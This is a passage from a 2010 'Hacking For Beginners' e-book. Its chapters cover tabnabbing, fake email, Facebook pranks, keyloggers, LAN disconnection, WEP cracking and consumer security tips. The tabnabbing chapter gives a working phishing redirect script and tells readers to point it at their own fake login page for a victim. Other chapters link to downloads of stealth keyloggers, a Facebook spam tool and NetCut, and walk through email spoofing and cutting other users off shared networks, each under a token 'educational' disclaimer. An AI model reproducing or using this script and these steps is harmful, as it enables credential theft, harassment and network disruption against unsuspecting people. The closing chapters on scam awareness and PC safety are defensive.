  2375. 10. Tab Napping A New Phishing Attack
  2376. Traditional phishing attacks are reasonably easy to avoid, just don’t click links in suspicious e-mails (or, for the really
  2377. paranoid, any e-mail). But Firefox Creative Lead Aza Raskin has found a far more devious way to launch an attack by
  2378. hijacking your unattended browser tabs.
  2379. The attack works by first detecting that the tab the page is in does not have focus. Then the attacking script can change
  2380. the tab favicon and title before loading a new site, say a fake version of gmail or orkut, in the background.
  2381. Even scarier, the attack can parse through your history to find sites you actually visit and impersonate them.
  2382. Because most of us trust our tabs to remain on the page we left them on, this is a particularly difficult attack to detect. As
  2383. Raskin writes, "as the user scans their many open tabs, the favicon and title act as a strong visual cue — memory is
  2384. mailable and moldable and the user will most likely simply think they left *the+ tab open.”
  2385. The only clue that you’re being tricked is that the URL will be wrong.
  2386. The Script Used is as Below.-
  2387. <a> open this in a tab of your browser and wait for 10 seconds and see after you come back but leave this page and go
  2388. to other tab to see this magic.</a>
  2389. <script type="text/javascript">
  2390. var xScroll, yScroll, timerPoll, timerRedirect, timerClock;
  2391. function initRedirect(){
  2392. if (typeof document.body.scrollTop != "undefined"){ //IE,NS7,Moz
  2393. xScroll = document.body.scrollLeft;
  2394. yScroll = document.body.scrollTop;
  2395. clearInterval(timerPoll); //stop polling scroll move
  2396. clearInterval(timerRedirect); //stop timed redirect
  2397. Hacking For Beginners – Manthan Desai 2010
  2398. w w w . h a c k i n g t e c h . c o . t v
  2399. Page 111
  2400. timerPoll = setInterval("pollActivity()",1); //poll scrolling
  2401. timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timed
  2402. redirect
  2403. }
  2404. else if (typeof window.pageYOffset != "undefined"){ //other browsers that support pageYOffset/pageXOffset instead
  2405. xScroll = window.pageXOffset;
  2406. yScroll = window.pageYOffset;
  2407. clearInterval(timerPoll); //stop polling scroll move
  2408. clearInterval(timerRedirect); //stop timed redirect
  2409. timerPoll = setInterval("pollActivity()",1); //poll scrolling
  2410. timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timed
  2411. redirect
  2412. }
  2413. //else do nothing
  2414. }
  2415. function pollActivity(){
  2416. if ((typeof document.body.scrollTop != "undefined" && (xScroll!=document.body.scrollLeft ||
  2417. yScroll!=document.body.scrollTop)) //IE/NS7/Moz
  2418. ||
  2419. (typeof window.pageYOffset != "undefined" && (xScroll!=window.pageXOffset || yScroll!=window.pageYOffset))) {
  2420. //other browsers
  2421. initRedirect(); //reset polling scroll position
  2422. }
  2423. } document.onmousemove=initRedirect;
  2424. document.onclick=initRedirect;
  2425. document.onkeydown=initRedirect;
  2426. window.onload=initRedirect;
  2427. window.onresize=initRedirect;
  2428. </script>
  2429. Hacking For Beginners – Manthan Desai 2010
  2430. w w w . h a c k i n g t e c h . c o . t v
  2431. Page 112
  2432. To See The Demo Of this Attack visit: http://www.hackingtech.co.tv/tabnapping.html
  2433. Replace the URL highlighted here with your URL where you want the victim to redirect.
  2434. Use This Script in the Page and then the page will redirect after 10 sec when the user if not on the particular tab.
  2435. “Do not use this hack trick in any criminal activities and please do not destroy any ones account
  2436. this is for educational purpose only”.
  2437. Hacking For Beginners – Manthan Desai 2010
  2438. w w w . h a c k i n g t e c h . c o . t v
  2439. Page 113
  2440. 11. How to Check The email is original or Not
  2441. First of all let us see How email system is working over internet.
  2442. The email is sent on internet as shown in below picture
  2443. So Here The Sender i.e abc@server1.com is sending a mail to xyz@server2.in. so the sender will type the mail and click on
  2444. send button and the mail will go to SERVER1.com whereSERVER1.com will forward the mail over internet and the internet
  2445. will search the xyz@server2.in email ids server and send it to SERVER2.in and the the SERVER2.in will search for
  2446. the xyz@server2.in in their own database and then the mail will be forwarded to xyz@server2.in and when the XYZ user
  2447. login to their account they will see an email in their inbox which is from abc@server1.com.
  2448. Now How To send the fake mail
  2449. To send fake mail We need to Bypass the abc@server1.com and SERVER1.com both and directly send an email over
  2450. internet .
  2451. So for that we will use a .php script as php has a function mail(); which can send email to any one without the
  2452. SERVER1.com and directly delivering the mail to SERVER2.in and then SERVER2.in will search for the xyz@server2.in in
  2453. their own database and then the mail will be forwarded to xyz@server2.in and when the XYZ user login to their account
  2454. they will see an email in their inbox which is from abc@server1.com.
  2455. Hacking For Beginners – Manthan Desai 2010
  2456. w w w . h a c k i n g t e c h . c o . t v
  2457. Page 114
  2458. But actually the email is not sent byabc@server1.comto xyz@server2.in so it is a fake mail.
  2460. Fill Up the form on Hacking Tech fake mailer page. For form visit http://www.hackingtech.co.tv/index/0-93
  2461. Now How to check When you receive such mail.
  2462. Step 1:- First of all open the mail.
  2463. Hacking For Beginners – Manthan Desai 2010
  2464. w w w . h a c k i n g t e c h . c o . t v
  2465. Page 115
  2466. Step 2:- Now Click on the downward arrow near reply button. and click on show original.
  2467. Now check for The received from field on the page opened.
  2468. and see who has sent you the email , here billgates@microsoft.com is the sender.
  2469. so in the received from field check that there must be microsoft.comand not any other thing.
  2470. this was fake mail as there was outgoing.x10hosting.com and so the mail is fake as there is no microsoft.com here.
  2471. “Do not send fake mails for criminal activities from hackingtech fake mailer as they are tracking
  2472. your IP address and Can back track you for any illegal activities performed by you and so please do
  2473. not destroy any ones account, this is for educational purpose only”.
  2474. Hacking For Beginners – Manthan Desai 2010
  2475. w w w . h a c k i n g t e c h . c o . t v
  2476. Page 116
  2477. 12. Hack facebook account by facebook hacker
  2478. Hack facebook Account With facebook Hacker.
  2479. Facebook is one of the most attractive keywords of Computer Hacking and so, large number of Facebook users are visiting
  2480. Computer Hacking. .
  2481. Well, Facebook Hacker is a multi-functional software used to hack facebook account. Actually, you can't hack facebook
  2482. password, but yes, cause many nuisance and pranks by using this Facebook Hacker software.
  2483. Hack Facebook Accounts with Facebook Hacker
  2484. Step 1. First of all Download Facebook Hacker software.
  2485. Step 2. Now, run Facebook Hacker.exe file to see:
  2486. Login to your Facebook account and then hit on OK at right bottom.
  2487. Step 3. Now, Facebook Hacker options are displayed as shown:
  2488. “You can Download facebook hacker From Here: http://www.hackingtech.co.tv/Facebook_Hacker.rar “.
  2489. Hacking For Beginners – Manthan Desai 2010
  2490. w w w . h a c k i n g t e c h . c o . t v
  2491. Page 117
  2492. Step 4. In Victim pane at left bottom, enter the facebook ID of the victim you wanna hack in User ID field.
  2493. Step 5. Now, using this Facebook Hacker software you can:
  2494.  Flood wall of victim.
  2495.  Spam his message box.
  2496.  Comment on him like crazy.
  2497.  Poke him and even add mass likes.
  2498. Thus, you can play such pranks with your friends using this Facebook Hacker. So, free download Facebook
  2499. Hacker and trick out your friends.
  2500. That's all. Hope you will enjoy using this tool. I have tried this Facebook hacker software and found working
  2501. perfect for me.
  2502. “Do not use this hack trick in any criminal activities and please do not destroy any ones account
  2503. this is for educational purpose only”.
  2504. Hacking For Beginners – Manthan Desai 2010
  2505. w w w . h a c k i n g t e c h . c o . t v
  2506. Page 118
  2507. 13. What Are Key loggers?
  2508. Keyloggers definition
  2509. Keylogger is a software program or hardware device that is used to monitor and log each of the keys a user types into a
  2510. computer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user.
  2511. Because these programs and hardware devices monitor the keys typed in a user can easily find user passwords and other
  2512. information a user may not wish others to know about.
  2513. Keyloggers, as a surveillance tool, are often used by employers to ensure employees use work computers for business
  2514. purposes only. Unfortunately, keyloggers can also be embedded in spyware allowing your information to be transmitted
  2515. to an unknown third party.
  2516. About keyloggers
  2517. A keylogger is a program that runs in the background, recording all the keystrokes. Once keystrokes are logged, they are
  2518. hidden in the machine for later retrieval, or shipped raw to the attacker. The attacker then peruses them carefully in the
  2519. hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or
  2520. be used in a social engineering attack. For example, a keylogger will reveal the contents of all e-mail composed by the
  2521. user. Keylogger is commonly included in rootkits.
  2522. A keylogger normally consists of two files: a DLL which does all the work and an EXE which loads the DLL and sets the
  2523. hook. Therefore when you deploy the hooker on a system, two such files must be present in the same directory.
  2524. There are other approaches to capturing info about what you are doing.
  2525.  Somekeyloggerscapture screens, rather than keystrokes.
  2526.  Otherkeyloggerswill secretly turn on video or audio recorders, and transmit what they capture over your internet
  2527. connection.
  2528. A keyloggers might be as simple as an exe and a dll that are placed on a machine and invoked at boot via an entry in the
  2529. registry. Or a keyloggers could be which boasts these features:
  2530.  Stealth: invisible in process list
  2531.  Includes kernel keylogger driver that captures keystrokes even when user is logged off (Windows 2000 / XP)
  2532.  ProBot program files and registry entries are hidden (Windows 2000 / XP)
  2533.  Includes Remote Deployment wizard
  2534.  Active window titles and process names logging
  2535.  Keystroke / password logging
  2536.  Regional keyboard support
  2537.  Keylogging in NT console windows
  2538.  Launched applications list
  2539.  Text snapshots of active applications.
  2540.  Visited Internet URL logger
  2541.  Capture HTTP POST data (including logins/passwords)
  2542. Hacking For Beginners – Manthan Desai 2010
  2543. w w w . h a c k i n g t e c h . c o . t v
  2544. Page 119
  2545.  File and Folder creation/removal logging
  2546.  Mouse activities
  2547.  Workstation user and timestamp recording
  2548.  Log file archiving, separate log files for each user
  2549.  Log file secure encryption
  2550.  Password authentication
  2551.  Invisible operation
  2552.  Native GUI session log presentation
  2553.  Easy log file reports with Instant Viewer 2 Web interface
  2554.  HTML and Text log file export
  2555.  Automatic E-mail log file delivery
  2556.  Easy setup & uninstall wizards
  2557.  Support for Windows (R) 95/98/ME and Windows (R) NT/2000/XP
  2558. Because a keylogger can involve dozens of files, and has as a primary goal complete stealth from the user, removing one
  2559. manually can be a terrifying challenge to any computer user. Incorrect removal efforts can result in damage to the
  2560. operating system, instability, inability to use the mouse or keyboard, or worse. Further, some key loggers will survive
  2561. manual efforts to remove them, re-installing themselves before the user even reboots.
  2562. Some Famous Key Loggers.
  2563. 1. Actual spy.
  2564. 2. Golden Keylogger
  2565. 3. Remote Keylogger.
  2566. 4. Home Keylogger
  2567. 5. Soft Central keylogger
  2568. 6. Stealth keyboard
  2569. “You can Download Actual spy From Here: http://u.to/tCWk “.
  2570. “You can Download Golden Keylogger From Here: http://u.to/0iWk “.
  2571. “You can Download Remote Keylogger From Here: http://u.to/3iWk “.
  2572. “You can Download Home Keylogger From Here: http://u.to/CSak “.
  2573. “You can Download Soft Central From Here: http://u.to/OCak “.
  2574. “You can Download Adramax keylogger From Here: http://u.to/Pyak “.
  2575. Hacking For Beginners – Manthan Desai 2010
  2576. w w w . h a c k i n g t e c h . c o . t v
  2577. Page 120
  2578. 14. How To remove New Folder virus
  2579. What is Newfolder.exe?
  2580. The real name of this virus is Iddono. This threat copies its file(s) to your hard disk. Its typical file name is Iddono. Then it
  2581. creates new startup key with name Iddono and value newfolder.exe. You can also find it in your processes list with name
  2582. newfolder.exe or Iddono. This virus is very difficult to eliminate manually, but you can find several possible methods of
  2583. removal below.
  2584. How to fix Newfolder.exe?
  2585. Quick Solution:
  2586. True Sword will find and eliminate this problem and more than 447 908 other dangerous threats including trojans,
  2587. spyware, adware, riskware, problemware, keyloggers, dialers and other kinds of malicious programs in several seconds.
  2588. Fast, easy, and handy, True Sword protects your computer against malicious programs that do harm to your computer
  2589. and break your privacy. True Sword scans your hard disks and registry and destroys any manifestation of such malicious
  2590. programs. Standard anti-virus software can do nothing against privacy breakers and malicious programs like that. Get rid
  2591. of trojans, spyware, adware, trackware, dialers and keyloggers in one click .
  2592. How to fix Newfolder.exe manually? For advanced users only
  2593. This problem can be solved manually by deleting all registry keys and files connected with this software, removing it from
  2594. starup list and unregistering all corresponding DLLs. Additionally missing DLL's should be restored from distribution in
  2595. case they are corrupted by Iddono. To fix this threat, you should: 1. Kill the following processes and delete the
  2596. appropriate files:
  2597.  libedit.dll
  2598.  newfolder.exe
  2599.  shelliddono.dll
  2600.  srv0104.ids
  2601.  srvidd20.exe
  2602. If these files can't be deleted during normal Windows work or recreate themselves, reboot into Safe Mode and repeat
  2603. deletion. If you do not see all of these files, then they are hiding themselves. You need special software to kill those
  2604. hidden files. 2. Delete the following malicious registry entries and\or values:
  2605.  Key: SOFTWARE\Microsoft\Windows\CurrentVersion\Run for nwiz.exe Value: @
  2606.  Key: software\microsoft\windows\currentversion\run\alchem Value: @
  2607.  Key: software\microsoft\windows\currentversion\run\zzb Value: @
  2608. Another method which is recently discovered by me that any AVG antivirus above 8.0version can detect the new folder
  2609. virus easily.
  2610. “For beginners I recommend to for for the Software True Sword its free “.
  2611. Hacking For Beginners – Manthan Desai 2010
  2612. w w w . h a c k i n g t e c h . c o . t v
  2613. Page 121
  2614. 15. Call Your Friend from Their Own Number
  2615. Step 1:- Go to http://www.mobivox.com and register there for free account.
  2616. Step 2:- During registration, remember to insert your friends (Victims) mobile number in "Phone number" field as shown
  2617. below.
  2618. Hacking For Beginners – Manthan Desai 2010
  2619. w w w . h a c k i n g t e c h . c o . t v
  2620. Page 122
  2621. Step 3:- Complete registration and confirm your email id and then login to your account.
  2622. Step 4:- Click on "Direct WebCall" After successful Login into your Mobivox account. as show below.
  2623. Step 5:- You will arrive at page shown below. In "Enter a number" box, select your country and also any mobile
  2624. number(you can enter yours). Now, simply hit on "Call Now" button to call your friend with his own number.
  2625. Hacking For Beginners – Manthan Desai 2010
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  2627. Page 123
  2628. Step 6:- That's it. Your friend will be shocked to see his own number calling him.
  2629. [1] .You get only 10 min to call free after that you need to pay money , but you can make
  2630. another account with another friends number and another email id and start pranking again...
  2631. [2] .But don't miss use this hack by calling someone's GIRL Friend(s) OR BOY Friend(s). Because
  2632. this hack is untraceable. If You call Customer Care and tell about this then they will tell this thing
  2633. cannot happen.
  2634. Read more:http://www.hackingtech.co.tv/index/call_your_friend_with_his_own_number/0-
  2635. 35#ixzz14mg1K1bJ
  2636. Hacking For Beginners – Manthan Desai 2010
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  2638. Page 124
  2639. 16. Get Orkut Scraps on mobile
  2640. Get Orkut Scraps on Mobile for free using Google SMS Channel!
  2641. Orkut Team officially introduced a feature by using you can get the Orkut scraps on your mobile. But by using this official
  2642. orkut sms feature they cost some charges as per network. But by using this trick you can enjoy free Scrap alerts on your
  2643. mobile absolutely free This service works with the help of Google SMS channels and Orkutfeeds.
  2644. You have to just follow the simple steps:-
  2645. Step 1 :- First of all you have to get the feed url of your Orkut profile by using orkutfeeds.com.
  2646. For this, just open your Orkut profile and copy the home page link (In my case it
  2647. is http://www.orkut.co.in/Main#Profile.aspx?uid=18178041893973983718). ( To copy the page link just right click on
  2648. your orkut profile properties and copy link from there.)
  2649. Step 2 :- Now go to orkutfeeds.com and paste your Orkut profile link (already generated on step 1).After this, just hit the
  2650. subscribe button and you’ll be provided with your Orkut profile feed URL.
  2651. Step 3 :- Also add "#both” at the end of the above URL so that you can get messages of the scrap as well.
  2652. Now my feed URL becomes http://www.orkutfeeds.com/feed.php?uid=18178041893973983718#both
  2653. Step 4 :- Now go to Google SMS channels homepage and create a new channel as shown in the screen shot below. If you
  2654. don’t have an account on SMS channels then create one by logging in with your Gmail password.
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  2657. Page 125
  2658. Step 5 :- Fill all the required details and feed URL of your Orkut page (refer step 2) on the ‘RSS/Atom feed’ form and finally
  2659. hit the ‘create channel’ button.
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  2662. Page 126
  2663. That’s it! Now you’ll be getting scrap notifications via SMS for free
  2664. [1] For this trick to work on locked scrapbooks, you must add this Orkutfeeds bot as your friend.
  2665. http://www.orkut.co.in/Main#Profile.aspx?uid=10226448830416481862
  2666. [2] Scrap notification are delayed for 2-4 hours depending on the Google’s server traffic.
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  2669. Page 127
  2670. 17. Internet connection cut-off in LAN/Wi-Fi
  2671. Hacking The Internet Connection of the shared computers in Colleges/ Cyber Cafe / schools etc. and gain the complete
  2672. Access of internet with full speed.
  2673. Netcut stands for Network Cut. NetCut is software where we can control the connection to each computer/laptop in a
  2674. WIFI network/LAN. However, this software can be used to retrieve internet bandwidth from other computers in a
  2675. LAN/WIFI.
  2676. Shared connection speed is basically determined the number of users connected, topology is used, setting protocols
  2677. and much more. If using a pure setting, the access speed will be divided based on the number of users who use
  2678. it. Example: If the connection speed = 500 Kbps, and there are 5 users who use it, then the speed of each to 100 Kbps,
  2679. except given the limit connection to other user. So more and more users connected, the smaller also access. And using
  2680. this attack cut the internet connection of shared computers in LAN/WIFI. And Get the Full Speed of internet on your
  2681. system.
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  2684. Page 128
  2685. Step 1:- you will need the NetCut 2.0 software so download it from Here.
  2686. Step2:- Unzip the downloaded Software and install it On Your System.
  2687. Step3:- Open the Software and you will get the following screen.
  2688. Step 4:- Select all or any One of the IP Addresses Seen on the Screen EXCEPT the first Two IP because they are Your PC's IP
  2689. Address.
  2690. Step 5:- After Selecting the IP address Press the Cut off Button and the internet connection will be cut off within few
  2691. Seconds.
  2692. Step 6:- To Resume or Start the Internet again Press the Resume Button and the internet will again start working in the
  2693. shared computers.
  2694. Now after cutting the network connection Lets Study the Prevention from This attack so that this cannot happen with
  2695. you.
  2696. “Download it from here: http://www.hackingtech.co.tv/netcut2.08.zip “.
  2697. Hacking For Beginners – Manthan Desai 2010
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  2699. Page 129
  2700. Anti netCut. This software can protect you when you surf the Internet using wireless networks in particular hotspot areas
  2701. which may be used by the netters. By using antinetcut, then guaranteed you will be protected from ignorant people who
  2702. use netCut to control bandwidth, LAN and Wireless network. Why Anti netcut 2? No internet disconnection any more,
  2703. starts with operating system; you don’t have to run every time turning on your PC. Lists all open ports in your connection
  2704. (Security wise), Get your public IP address, Know who is cutting your connection, Direct link to internet connection speed
  2705. meter, Direct link to spyware scanner, Direct link to free virus scanner and No Spyware
  2706. Step1:- Download the Anti NetCut 2 form Here Because You Will Need It.
  2707. Step 2:- Unrar The pack and install the software.
  2708. Step 3:- There Will Be an Icon in the Task bar of Anti Net 2, like this.
  2709. Step 4:- To see who Using Net Cut is against you or who is attacking on our network, right click on this icon and Select
  2710. “Who is using Net Cut". And you will get The IP addresses of the User in the window as shown below.
  2711. Step 5:- To see Your Open connections, means the Ports of the network which are not cut off By the NetCut 2.0. Right
  2712. Click on the icon and Click on “My open connection" and you will get window like this.
  2713. “Download it from here: http://www.hackingtech.co.tv/anti_netcut_2.rar “.
  2714. Hacking For Beginners – Manthan Desai 2010
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  2716. Page 130
  2717. Step 6:- You are done now The Anti Net Cut 2 will automatically fix the error of internet Cut off Caused by Net Cut 2.0.
  2718. “Do not use this hack trick in any criminal activities and please do not destroy any ones account
  2719. this is for educational purpose only”.
  2720. “Use of anti Netcut is for countermeasure purpose and do not misuse the Netcut.”
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  2723. Page 131
  2724. 18. WEP cracking using Airo Wizard
  2725. In This Tutorial We Will learn to hack/crack the WEP (Wired Equipped Privacy).
  2726. A WEP key is a security code used on some Wi-Fi networks. WEP keys allow a group of devices on a local network (such as
  2727. a home network) to exchange encoded messages with each other while hiding the contents of the messages from easy
  2728. viewing by outsiders.
  2729. A WEP key is a sequence of hexadecimal digits. These digits include the numbers 0-9 and the letters A-F. Some examples
  2730. of WEP keys are:
  2731.  1A648C9FE2
  2732.  99D767BAC38EA23B0C0176D15
  2733. WEP keys are chosen by a network administrator. WEP keys are set on Wi-Fi routers, adapters and other wireless network
  2734. devices. Matching WEP keys must be set on each device for them to communicate with each other.
  2735. The length of a WEP key depends on the type of WEP security (called "encryption") utilized:
  2736.  40- / 64-bit WEP: 10 digit key
  2737.  104- / 128-bit WEP: 26 digit key
  2738. To assist with the process of creating correct WEP keys, some brands of wireless network equipment automatically
  2739. generates WEP keys from ordinary text called a pass phrase.
  2740. Air crack is an 802.11(protocol) WEP and WPA-PSK keys cracking application that is able to recover keys once enough data
  2741. packets have been captured(Sniffed). It follows the standard FMS attack along with some optimizations like KoreK attacks,
  2742. along with the all-new PTW attack, thus making the attack much faster and effective compared to other WEP cracking
  2743. tools. In fact, Aircrack-ng is a set of tools for auditing wireless networks and not much known by the crackers.
  2744. “Download it from here: http://u.to/ayak “.
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  2751. 19. 12 Security tips for online shopping
  2752. The internet is an exciting place to shop. From the comfort of your own armchair you can browse for literally anything,
  2753. from a new camera, to a holiday or flight. You are not restricted to the stores in your local town, or even country and you
  2754. can pick up deals at great prices on a whole range of products.
  2755. Shopping online isn’t just as safe as handing over your credit card in a store or restaurant. However, if you take care of
  2756. few things it can be a safe deal. Following are the things you should take care of:
  2757. 1. Never respond to an email request for credit card details. All reputable companies will conduct transactions with you
  2758. over a secure website connection.
  2759. 2. Remember to never respond to any email advertisement, and only visit sites you know or have book marked, and
  2760. verify the address before browsing further.
  2761. 3. Only buy from trusted brands and websites.
  2762. 4. To ensure that you only do business with legitimate companies check to see if they have a contact number, an actual
  2763. retail store and a printed catalogue to browse.
  2764. 5. Check a website’s returns and privacy policy before going ahead with a purchase.
  2765. 6. Check that you are entering your details through a secure payment connection. You should notice when you click
  2766. through to the transaction page of a company’s website that the URL in the address bar begins https:// (instead of
  2767. the normal http ://). This is the standard encrypted communication mechanism on the internet and means that your
  2768. credit card details are being sent securely.
  2769. 7. Beware of deals that seem too good to be true.
  2770. 8. Beware of the limitations of the internet. The internet may not the best place to buy clothes or other products you
  2771. need to see, touch or try on.
  2772. 9. All reputable websites use secure payment systems. These are either a company’s own system or a 3rd party system
  2773. such as Worldpay or Pay pal.
  2774. 10. When conducting a transaction over the internet, look for the yellow padlock in the grey status bar at the bottom of
  2775. your browser page. This is an indication that the transaction is being conducted over a secure connection.
  2776. 11. As an extra precaution check to see if there’s a gold lock at the bottom of the right hand corner of the browser. If
  2777. they don’t include any of these reliable indicators, you might want to think twice before handing over your credit
  2778. card number.
  2779. 12. To be on the safe side, and avoid Internet fraudsters, it’s also a good idea to install and use security software such as
  2780. Kaspersky Internet Security. It can provide you with industry-leading security services that will provide you more
  2781. protection against the latest threats.
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  2785. 20. How to check if Your Gmail acc. is hacked
  2786. How to check if your Gmail Account Has Been Hacked
  2787. If you’re worried about email security, here is a step by step guide to help you check and determine if your Gmail account
  2788. has been hacked or compromised in any way.
  2789. Step 1: Find the ‘Last Account Activity’ Section In Your Inbox
  2790. At the bottom of your Gmail inbox there is a ‘Last Account Activity’ section. Click on ‘details’ to launch the full blown
  2791. monitor.
  2792. Step 2: See who has accessed your Gmail account recently.
  2793. Next, what you’ll see is a table of the most recent activity from your Gmail account. It shows you
  2794. * * How it was accessed (Browser/mobile etc)
  2795. * Where exactly the IP address is (So you can do some further digging)
  2796. * When it was accessed
  2797. Step 3: Understand the IP addresses – Has your Gmail really been hacked.
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  2801. If you see IP addresses from different countries, don’t be too quick to panic. If you use any 3rd party services which hookup
  2802. to your Gmail account, they will almost certainly show up in your activity log. To do you own investigation, you can
  2803. use Domain Tools (www.domaintools.com) to identify the IP address. This will help you differentiate normal activity and
  2804. your Gmail account being hacked.
  2805. Step 4: Understand the alerts – Google’s way of highlighting suspicious activity.
  2806. Google will also do its fair share of monitoring, and will also alert you if it sees suspicious activity both in your inbox, as
  2807. well as your recent activity log. When this happens, and the IP addresses look suspicious, it is advisable to play it safe,
  2808. assume your Gmail account has been hacked, and change your passwords immediately.
  2809. Step 5: Sign out All Other Sessions – If you forgot to sign out on a public computer.
  2810. If you are worried you did not sign out of a public computer, you can ‘sign out all other sessions’. This won’t fix any
  2811. hacked Gmail accounts, but it will resolve any careless mistakes. This is also useful if you happen to lose your mobile
  2812. phone and you want to ensure your email is not read by others.
  2813. Step 6: What to do if your Gmail account has really been hacked
  2814. The first thing you do is change both your password and security question right away. Then make sure your new choices
  2815. are very secure. Google themselves have some really good tips. For example in the case of security questions:
  2816.  Choose a question only you know the answer to – make sure the question isn’t associated with your password.
  2817.  Pick a question that can’t be answered through research (for example, avoid your mother’s maiden name, your
  2818. birth date, your first or last name, your social security number, your phone number, your pet’s name, etc.).
  2819.  Make sure your answer is memorable, but not easy to guess. Use an answer that is a complete sentence for even
  2820. more security.
  2821. So there you have it. A step-by-step guide on fully understanding Gmail’s account activity log, and how to check if your
  2822. Gmail account has been hacked
  2823. “Always use this method to sign out all other accounts if you have accessed the internet from
  2824. public place or PC this will make your GMAIL account more secure“.
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  2828. 21. Beware Of Common Internet Scam/Frauds
  2829. The term Internet Scam or Internet Fraud refers to any type of fraud scheme that uses one or more online services to
  2830. conduct fraudulent activities. Internet fraud can take place on computer programs such as chat rooms, e-mail, message
  2831. boards, or Web sites. In this post I will discuss about some of the commonly conducted scams and frauds across the
  2832. Internet.
  2833. 1. Phishing Scam
  2834. This is one of the most commonly used scam to steal bank logins and other types of passwords on the Internet. Phishing is
  2835. the criminally fraudulent process of attempting to acquire sensitive information such as usernames, passwords and credit
  2836. card details by masquerading as a trustworthy entity in an electronic communication. Phishing is typically carried out by
  2837. e-mail or instant messaging.
  2838. Example: You may receive an email which claims to have come from your bank/financial institution/online service
  2839. provider that asks you to click a link and update your account information. When you click such a link it will take you to a
  2840. fake page which exactly resembles the original ones. Here you’ll be asked to enter your personal details such as username
  2841. and password. Once you enter your personal details they will be stolen away. Such an email is more than likely the type of
  2842. Internet scam known as "phishing”. Phishing is said to be highly effective and has proved to have more success rate since
  2843. most of the common people fail to identify the scam.
  2844. Most legitimate companies never request any kind of personal/sensitive information via email. So it is highly
  2845. recommended that you DO NOT respond to such fraudulent emails. For more information on phishing visit my detailed
  2846. post What is Phishing?
  2847. 2. Nigerian Scams
  2848. This type of scam involves sending emails (spam) to people in bulk seeking their help to access large amount of money
  2849. that is held up in a foreign bank account. This email claims that in return for the help you’ll be rewarded a percentage of
  2850. the fund that involves in the transaction. Never respond to these emails since it’s none other than a scam.
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  2854. In case if you respond to these emails you will be asked to deposit a small amount of money (say 1-2% of the whole fund)
  2855. as an insurance or as an advance payment for the initialization of deal. However once you deposit the amount to the
  2856. scammer’s account you’ll not get any further response from them and you lose your money. In fact "The large amount of
  2857. money” never exists and the whole story is a trap for innocent people who are likely to become victims. The scammers
  2858. use a variety of stories to explain why they need your help to access the funds. The following are some of the examples of
  2859. them.
  2860. Examples:
  2861.  They may claim that political climate or legal issues preclude them from accessing funds in a foreign bank
  2862. account.
  2863.  They may claim that the person is a minor and hence needs your help to access the funds.
  2864.  They may claim that your last name is the same as that of the deceased person who owned the account and
  2865. suggest that you act as the Next of Kin of this person in order to gain access to the funds.
  2866. 3. Lottery Scams
  2867. This type of scam is similar to the one discussed above. In this type you may receive an email saying that you have won a
  2868. large sum of money in online lottery scheme (ex. UK Lottery) even though you have not participated in any such schemes.
  2869. The message claims that your email ID was selected randomly from a large pool of IDs. When you respond to such emails
  2870. they initially ask for your complete name and address so that they can mail the cheque across to you. After getting those
  2871. details they may also send you an image of the cheque drawn in your name and address so as to confirm the deal. But in
  2872. order to mail this cheque they demand a small amount of money as insurance/shipping charge/tax in return. However if
  2873. you send the amount in hope to receive the cheque all you get is nothing. You’re just trapped in a wonderful scam
  2874. scheme. That’s it.
  2875. 4. Other General Scams and Frauds
  2876. The following are some of the other types of scams that you should be aware of.
  2877. In general, be aware of unsolicited emails that:
  2878. 1. Promise you money, jobs or prizes.
  2879. 2. Ask you to provide sensitive personal information.
  2880. 3. Ask you to follow a link to a website and log on to an account.
  2881. 4. Propose lucrative business deals
  2882. However it may seem to be a difficult task for novice Internet users to identify such online scams. Here are some of the
  2883. common signs of such scam emails. By knowing them it may help you to stay away.
  2884.  All these scam emails never address you by your name. In turn they commonly address you something like "Dear
  2885. User” or "Dear Customer” etc. This is a clear indication that the email is a fraudulent one
  2886.  When you observe the email header you may notice in the "TO:” Field that, the same email is forwarded to a
  2887. large group of people or the "TO:” field appears blank. So this confirms that the email was not intended
  2888. particularly for you. It was forwarded for a large group of people and you are one among them.
  2889. “Do not use this hacks & trick in any criminal activities like phishing bank websites and please do
  2890. not destroy any ones account this is only for educational purpose”.
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  2894. 22. 12 Tips to maintain a virus free PC.
  2895. 1. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay away
  2896. from SPAM. Open only those emails that has it’s origin from a trusted source such as those which comes from your
  2897. contact list. If you are using your own private email host (other than Gmail, yahoo, hotmail etc.) then it is highly
  2898. recommended that you use good anti-spam software. And finally NEVER click on any links in the emails that comes from
  2899. untrusted sources.
  2900. 2. be careful about using MS Outlook. Outlook is more susceptible to worms than other e-mail programs, unless you have
  2901. efficient Anti-Virus programs running. Use Pegasus or Thunderbird (by Mozilla), or a web-based program such as Hotmail
  2902. or Yahoo (In Fire fox).
  2903. 3. Never open any email attachments that come from untrusted sources. If it is a picture, text or sound file (these
  2904. attachments end in the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and .avi), you are probably safe, but still do
  2905. a scan before opening.
  2906. 4. As we all know, Internet is the main source of all the malicious programs including viruses, worms, Trojans etc. In fact
  2907. Internet contributes to virus infection by up to 80%. So here are the tips for safe surfing habits so that you can ward
  2908. off virus infection up to the maximum extent.
  2909.  Don’t click on pop-up windows that announce a sudden disaster in your city or announce that you’ve won an
  2910. hourly prize. They are the ways to mislead Internet users and you should never trust them.
  2911.  You can also use a pop-up blocker to automatically block those pop-ups.
  2912. 5. USB thumb/pen drives are another common way by which viruses spread rapidly. So it is always a good habit to
  2913. perform a virus scan before copying any data onto your computer. NEVER double-click the pen drive to open it.
  2914. Instead right-click on it and select the option "open”. This is a safe way to open a pen drive.
  2915. 6. Most of us use search engines like Google to find what we are looking for. It is quite obvious for a malicious website to
  2916. get listed in the search results. So to avoid visiting those untrusted malicious websites, you can download and install
  2917. the AVG Link Scanner which is a freeware. This tool can become very handy and will help you to stay away from malicious
  2918. websites.
  2919. 7. Install a good Antispyware program that operates against Internet malware and spy ware.
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  2922. Page 139
  2923. 8. Install good antivirus software and keep it updated. Also perform full system scan periodically. It is highly
  2924. recommended that you turn on the automatic update feature. This is the most essential task to protect your PC from
  2925. viruses. If PC security is your first option then it is recommended that you go for shareware antivirus software over the
  2926. free ones. Most of the antivirus supports the Auto-Protect feature that provides real-time security for your PC. Make sure
  2927. that this feature is turned on.
  2928. 9. Do not use disks that other people gave you, even from work. The disk could be infected with a virus. Of course, you
